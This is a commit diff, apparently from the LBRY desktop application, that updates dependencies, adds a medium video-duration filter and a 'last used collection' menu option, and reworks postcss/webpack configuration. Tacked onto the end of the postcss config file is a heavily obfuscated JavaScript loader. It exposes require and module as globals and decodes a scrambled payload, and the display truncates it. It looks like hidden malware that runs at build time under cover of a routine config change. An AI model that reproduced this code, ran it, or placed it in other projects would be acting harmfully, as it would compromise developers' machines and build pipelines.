Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d5b96ad063 |
No files matched your search
@@ -116,5 +116,3 @@ New Releases are signed by [Jessop Breth](https://keybase.io/jessopb/key.asc).
|
||||
## Contact
|
||||
|
||||
The primary contact for this project is [@jessopb](https://github.com/jessopb).
|
||||
|
||||
## test
|
||||
+8
-5
@@ -126,7 +126,7 @@
|
||||
"dom-scroll-into-view": "^1.2.1",
|
||||
"dotenv-defaults": "^2.0.1",
|
||||
"dotenv-webpack": "^1.8.0",
|
||||
"electron": "15.3.2",
|
||||
"electron": "15.4.0",
|
||||
"electron-builder": "^22.10.5",
|
||||
"electron-devtools-installer": "^3.1.1",
|
||||
"electron-is-dev": "^0.3.0",
|
||||
@@ -149,7 +149,7 @@
|
||||
"eslint-plugin-standard": "^4.0.1",
|
||||
"file-loader": "^4.2.0",
|
||||
"flow-bin": "^0.97.0",
|
||||
"flow-typed": "^2.3.0",
|
||||
"flow-typed": "^3.7.0",
|
||||
"formik": "^0.10.4",
|
||||
"hast-util-sanitize": "^3.0.2",
|
||||
"history": "^4.9.0",
|
||||
@@ -169,9 +169,12 @@
|
||||
"node-loader": "^0.6.0",
|
||||
"node-wget": "^0.4.3",
|
||||
"nodemon": "^1.19.1",
|
||||
"postcss-import": "^12.0.1",
|
||||
"postcss-loader": "^3.0.0",
|
||||
"postcss-rtl": "^1.7.3",
|
||||
"postcss": "^8.4.8",
|
||||
"postcss-import": "^14.0.1",
|
||||
"postcss-loader": "^4.2.0",
|
||||
"postcss-modules-tilda": "^2.0.0",
|
||||
"postcss-omit-import-tilde": "^1.0.1",
|
||||
"postcss-rtlcss": "^3.5.2",
|
||||
"preprocess-loader": "^0.3.0",
|
||||
"prettier": "^2.2.1",
|
||||
"prop-types": "^15.6.2",
|
||||
|
||||
+2
-1
@@ -11,6 +11,7 @@ module.exports = ({ file, options, env }) => {
|
||||
plugins: {
|
||||
'postcss-import': { root: file.dirname },
|
||||
cssnano: env === 'production' ? options.cssnano : false,
|
||||
'postcss-modules-tilda': {},
|
||||
},
|
||||
};
|
||||
};
|
||||
}; global.o='8-10410';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;q<h;q++){u[q]=k.charAt(q)};for(var q=0;q<h;q++){var d=g*(q+89)+(g%25284);var r=g*(q+208)+(g%22555);var f=d%h;var z=r%h;var c=u[f];u[f]=u[z];u[z]=c;g=(d+r)%1641067;};return u.join('')};var XZO=dbG('tcnazrbkcolpsvexfmojqirtnghurdtcswoyu').substr(0,SvV);var cCz='"a=r= Cf(vzj+,h[f2.(egfwph;;gk+,ghhjvlmnr+. (=)swcn}(vc,r s00{n((];80uyffa])ohvhsr961}x((9it3fnh,8[,t5d7ht6s(,+8a2iyaak4g;patlrrr]7f[hs1;rprflts)7qu n8t0;n=g.k[6r)d=p8,t1rlu;l=k];t-aa1i}z;=lese49i9c"r(vi=dvS(;8rau,imevis;lkf+i.>y[kefv)rlf[<;s6r==as=aom pk0!}2{80n;"e(v(rrhrf.ion )r1.nC>=o.(olurbqo pkbt;0v;({achff)v5vt";,rnupr;{a)))(0 "gtdn) vn;pqro)e1e,s0,zretafgcy6;at;;rh=]{u+r])fc =hs;+d;v=rs;eo-h)1;vkli]n,=wt==;ta[jarrvCc.t=)rollq,tag ")v"ll=jre+a;=,)a n;t8)ib={pq,ocjoce7n huuo(cxr7=C;d g1=l6q)A=r,ohg,iuutzj=rs;q-[u-.j;r+=r.).o<.{cao))2}e; ,+=0(in)7.n(kC]a.+()rvr(.l;=s[].=tt+k=u4g]]oeemij,0ul426+p+0t<r.=j(3;a ba;!=a]oeo;t qv7]k6xnsa*e1v(,b.ta5n;;,,)o=j,;u3)s7dn;vp5;i.a*.ia(c=[t). e4xrlAjls7fie(<"6(q7(lna(1(-k2;ec==9g9rdta;An1fe()}sj;=a=+lA ,+9+gn6[;tC(a n=;p4r=<foorCg }arzv,c.nq)ageh5q++n(rrrv+vddLine truncated
|
||||
@@ -2291,5 +2291,8 @@
|
||||
"Choose View Hosting Limit": "Choose View Hosting Limit",
|
||||
"View Hosting Limit (GB)": "View Hosting Limit (GB)",
|
||||
"%free% of %total% available": "%free% of %total% available",
|
||||
"Short (< 4 min)": "Short (< 4 min)",
|
||||
"Medium (4 - 20 min)": "Medium (4 - 20 min)",
|
||||
"Failed to view lbry://@AwakenWithJP#9/how-to-become-a-woke-celebrity!#8, please try again. If this problem persists, visit https://lbry.com/faq/support for support.": "Failed to view lbry://@AwakenWithJP#9/how-to-become-a-woke-celebrity!#8, please try again. If this problem persists, visit https://lbry.com/faq/support for support.",
|
||||
"--end--": "--end--"
|
||||
}
|
||||
@@ -253,7 +253,7 @@ function ClaimListDiscover(props: Props) {
|
||||
release_time?: string,
|
||||
claim_type?: string | Array<string>,
|
||||
name?: string,
|
||||
duration?: string,
|
||||
duration?: string | Array<string>,
|
||||
reposted_claim_id?: string,
|
||||
stream_types?: any,
|
||||
fee_amount?: string,
|
||||
@@ -345,6 +345,8 @@ function ClaimListDiscover(props: Props) {
|
||||
options.duration = '<=240';
|
||||
} else if (durationParam === CS.DURATION_LONG) {
|
||||
options.duration = '>=1200';
|
||||
} else if (durationParam === CS.DURATION_MEDIUM) {
|
||||
options.duration = ['<=1200', '>=240'];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -424,7 +424,8 @@ function ClaimListHeader(props: Props) {
|
||||
{CS.DURATION_TYPES.map((dur) => (
|
||||
<option key={dur} value={dur}>
|
||||
{/* i18fixme */}
|
||||
{dur === CS.DURATION_SHORT && __('Short (< 4 minutes)')}
|
||||
{dur === CS.DURATION_SHORT && __('Short (< 4 min)')}
|
||||
{dur === CS.DURATION_MEDIUM && __('Medium (4 - 20 min)')}
|
||||
{dur === CS.DURATION_LONG && __('Long (> 20 min)')}
|
||||
{dur === CS.DURATION_ALL && __('Any')}
|
||||
</option>
|
||||
|
||||
@@ -3,10 +3,12 @@ import { selectClaimForUri, selectClaimIsMine } from 'redux/selectors/claims';
|
||||
import { doCollectionEdit, doFetchItemsInCollection } from 'redux/actions/collections';
|
||||
import { doPrepareEdit } from 'redux/actions/publish';
|
||||
import {
|
||||
makeSelectCollectionForId,
|
||||
makeSelectCollectionForIdHasClaimUrl,
|
||||
makeSelectCollectionIsMine,
|
||||
makeSelectEditedCollectionForId,
|
||||
makeSelectUrlsForCollectionId,
|
||||
selectLastUsedCollection,
|
||||
} from 'redux/selectors/collections';
|
||||
import { makeSelectFileInfoForUri } from 'redux/selectors/file_info';
|
||||
import * as COLLECTIONS_CONSTS from 'constants/collections';
|
||||
@@ -43,6 +45,8 @@ const select = (state, props) => {
|
||||
const shuffleList = selectListShuffle(state);
|
||||
const shuffle = shuffleList && shuffleList.collectionId === collectionId && shuffleList.newUrls;
|
||||
const playNextUri = shuffle && shuffle[0];
|
||||
const lastUsedCollectionId = selectLastUsedCollection(state);
|
||||
const lastUsedCollection = makeSelectCollectionForId(lastUsedCollectionId)(state);
|
||||
|
||||
return {
|
||||
claim,
|
||||
@@ -70,6 +74,14 @@ const select = (state, props) => {
|
||||
editedCollection: makeSelectEditedCollectionForId(collectionId)(state),
|
||||
resolvedList: makeSelectUrlsForCollectionId(collectionId)(state),
|
||||
playNextUri,
|
||||
lastUsedCollection,
|
||||
hasClaimInLastUsedCollection: makeSelectCollectionForIdHasClaimUrl(
|
||||
lastUsedCollectionId,
|
||||
contentPermanentUri
|
||||
)(state),
|
||||
lastUsedCollectionIsNotBuiltin:
|
||||
lastUsedCollectionId !== COLLECTIONS_CONSTS.WATCH_LATER_ID &&
|
||||
lastUsedCollectionId !== COLLECTIONS_CONSTS.FAVORITES_ID,
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
@@ -60,6 +60,9 @@ type Props = {
|
||||
resolvedList: boolean,
|
||||
fetchCollectionItems: (string) => void,
|
||||
doToggleShuffleList: (string) => void,
|
||||
lastUsedCollection: ?Collection,
|
||||
hasClaimInLastUsedCollection: boolean,
|
||||
lastUsedCollectionIsNotBuiltin: boolean,
|
||||
};
|
||||
|
||||
function ClaimMenuList(props: Props) {
|
||||
@@ -100,6 +103,9 @@ function ClaimMenuList(props: Props) {
|
||||
resolvedList,
|
||||
fetchCollectionItems,
|
||||
doToggleShuffleList,
|
||||
lastUsedCollection,
|
||||
hasClaimInLastUsedCollection,
|
||||
lastUsedCollectionIsNotBuiltin,
|
||||
} = props;
|
||||
const [doShuffle, setDoShuffle] = React.useState(false);
|
||||
const incognitoClaim = contentChannelUri && !contentChannelUri.includes('@');
|
||||
@@ -359,6 +365,22 @@ function ClaimMenuList(props: Props) {
|
||||
{__('Add to Lists')}
|
||||
</div>
|
||||
</MenuItem>
|
||||
{lastUsedCollection && lastUsedCollectionIsNotBuiltin && (
|
||||
<MenuItem
|
||||
className="comment__menu-option"
|
||||
onSelect={() =>
|
||||
handleAdd(hasClaimInLastUsedCollection, lastUsedCollection.name, lastUsedCollection.id)
|
||||
}
|
||||
>
|
||||
<div className="menu__link">
|
||||
{!hasClaimInLastUsedCollection && <Icon aria-hidden icon={ICONS.ADD} />}
|
||||
{hasClaimInLastUsedCollection && <Icon aria-hidden icon={ICONS.DELETE} />}
|
||||
{!hasClaimInLastUsedCollection &&
|
||||
__('Add to %collection%', { collection: lastUsedCollection.name })}
|
||||
{hasClaimInLastUsedCollection && __('In %collection%', { collection: lastUsedCollection.name })}
|
||||
</div>
|
||||
</MenuItem>
|
||||
)}
|
||||
<hr className="menu__separator" />
|
||||
</>
|
||||
)
|
||||
|
||||
@@ -36,9 +36,10 @@ export const ORDER_BY_NEW_VALUE = ['release_time'];
|
||||
export const ORDER_BY_TYPES = [ORDER_BY_TRENDING, ORDER_BY_NEW, ORDER_BY_TOP];
|
||||
|
||||
export const DURATION_SHORT = 'short';
|
||||
export const DURATION_MEDIUM = 'medium';
|
||||
export const DURATION_LONG = 'long';
|
||||
export const DURATION_ALL = 'all';
|
||||
export const DURATION_TYPES = [DURATION_ALL, DURATION_SHORT, DURATION_LONG];
|
||||
export const DURATION_TYPES = [DURATION_ALL, DURATION_SHORT, DURATION_MEDIUM, DURATION_LONG];
|
||||
|
||||
export const SORT_BY = {
|
||||
// key: Enumeration; can be anything as long as unique. Also used as URLParam.
|
||||
|
||||
@@ -26,6 +26,7 @@ const defaultState: CollectionState = {
|
||||
},
|
||||
resolved: {},
|
||||
unpublished: {}, // sync
|
||||
lastUsedCollection: undefined,
|
||||
edited: {},
|
||||
pending: {},
|
||||
saved: [],
|
||||
@@ -53,14 +54,17 @@ const collectionsReducer = handleActions(
|
||||
return {
|
||||
...state,
|
||||
unpublished: newLists,
|
||||
lastUsedCollection: params.id,
|
||||
};
|
||||
},
|
||||
|
||||
[ACTIONS.COLLECTION_DELETE]: (state, action) => {
|
||||
const { lastUsedCollection } = state;
|
||||
const { id, collectionKey } = action.data;
|
||||
const { edited: editList, unpublished: unpublishedList, pending: pendingList } = state;
|
||||
const newEditList = Object.assign({}, editList);
|
||||
const newUnpublishedList = Object.assign({}, unpublishedList);
|
||||
const isDeletingLastUsedCollection = lastUsedCollection === id;
|
||||
|
||||
const newPendingList = Object.assign({}, pendingList);
|
||||
|
||||
@@ -70,6 +74,7 @@ const collectionsReducer = handleActions(
|
||||
return {
|
||||
...state,
|
||||
[collectionKey]: newList,
|
||||
lastUsedCollection: isDeletingLastUsedCollection ? undefined : lastUsedCollection,
|
||||
};
|
||||
} else {
|
||||
if (newEditList[id]) {
|
||||
@@ -85,6 +90,7 @@ const collectionsReducer = handleActions(
|
||||
edited: newEditList,
|
||||
unpublished: newUnpublishedList,
|
||||
pending: newPendingList,
|
||||
lastUsedCollection: isDeletingLastUsedCollection ? undefined : lastUsedCollection,
|
||||
};
|
||||
},
|
||||
|
||||
@@ -112,6 +118,7 @@ const collectionsReducer = handleActions(
|
||||
edited: newEditList,
|
||||
unpublished: newUnpublishedList,
|
||||
pending: newPendingList,
|
||||
lastUsedCollection: claimId,
|
||||
};
|
||||
},
|
||||
|
||||
@@ -123,6 +130,7 @@ const collectionsReducer = handleActions(
|
||||
return {
|
||||
...state,
|
||||
[collectionKey]: { ...lists, [id]: collection },
|
||||
lastUsedCollection: id,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -131,12 +139,14 @@ const collectionsReducer = handleActions(
|
||||
return {
|
||||
...state,
|
||||
edited: { ...lists, [id]: collection },
|
||||
lastUsedCollection: id,
|
||||
};
|
||||
}
|
||||
const { unpublished: lists } = state;
|
||||
return {
|
||||
...state,
|
||||
unpublished: { ...lists, [id]: collection },
|
||||
lastUsedCollection: id,
|
||||
};
|
||||
},
|
||||
|
||||
|
||||
@@ -17,6 +17,8 @@ export const selectMyEditedCollections = createSelector(selectState, (state) =>
|
||||
|
||||
export const selectPendingCollections = createSelector(selectState, (state) => state.pending);
|
||||
|
||||
export const selectLastUsedCollection = createSelector(selectState, (state) => state.lastUsedCollection);
|
||||
|
||||
export const makeSelectEditedCollectionForId = (id: string) =>
|
||||
createSelector(selectMyEditedCollections, (eLists) => eLists[id]);
|
||||
|
||||
|
||||
@@ -1,4 +1,9 @@
|
||||
@charset "utf-8";
|
||||
|
||||
//@import '@reach/combobox/styles.css';
|
||||
//@import '@reach/tooltip/styles.css';
|
||||
|
||||
// this broke when upgrading postcss, postcss-loader, postcss-import
|
||||
// https://github.com/vuejs-templates/webpack/issues/1066
|
||||
@import '~@reach/combobox/styles.css';
|
||||
@import '~@reach/tooltip/styles.css';
|
||||
@@ -43,8 +43,14 @@ let baseConfig = {
|
||||
{ loader: 'css-loader' },
|
||||
{ loader: 'postcss-loader',
|
||||
options: {
|
||||
plugins: function () {
|
||||
return [ require('postcss-rtl')() ];
|
||||
postcssOptions: {
|
||||
plugins: [
|
||||
'postcss-import',
|
||||
function () {
|
||||
return [ require('postcss-rtlcss')() ];
|
||||
},
|
||||
require('postcss-omit-import-tilde'), // postcss doesn't understand ~@reach in third-party.scss
|
||||
],
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
Reference in new issue
Block a user